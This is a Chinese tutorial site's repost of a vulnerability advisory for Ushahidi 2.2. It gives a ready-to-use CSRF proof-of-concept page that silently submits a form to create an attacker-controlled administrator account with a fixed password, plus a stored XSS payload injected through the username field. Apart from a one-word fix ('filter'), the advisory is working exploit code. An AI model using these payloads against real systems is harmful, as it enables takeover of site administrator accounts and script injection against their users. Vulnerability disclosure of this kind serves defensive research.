来源：自学PHP网 时间：2015-04-17 13:03 作者： 阅读:次
[导读] 标题: Ushahidi 2.2 Multiple Vulnerabilites作者: shpendk www.2cto.com软件地址: http://download.ushahidi.com/影响版本: 2.2测试平台: Xampp on Windows1) CSRF Add Admin PoC:-------------......
|
标题: Ushahidi 2.2 Multiple Vulnerabilites
作者: shpendk www.2cto.com 软件地址: http://download.ushahidi.com/ 影响版本: 2.2 测试平台: Xampp on Windows 1) CSRF Add Admin PoC: ----------------------------------------------------------------------------------------------------- <html> <body> <form action="http:// www.2cto.com 1/admin/users/edit" method="POST"> <input type="hidden" name="name" value="myname"> <input type="hidden" name="email" value="shpendk13@gmail.com"> <input type="hidden" name="role" value="admin"> <input type="hidden" name="username" value="shpendk"> <input type="hidden" name="notify" value="1"> <input type="hidden" name="password" value="letmein"> <input type="hidden" name="password_again" value="letmein"> </form> <script> document.forms[0].submit(); </script> </body> </html> ------------------------------------------------------------------------------------------------------- 2) 持久型 XSS ------------------------------------------------------------------------------------------------------ -> Go to http://www.2cto.com1/login -> Create New User -> Enter username: <img/onerror="alert(123)"src=a> -> Login as Admin and go to http://127.0.0.1/admin/users 修复方案 过滤 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
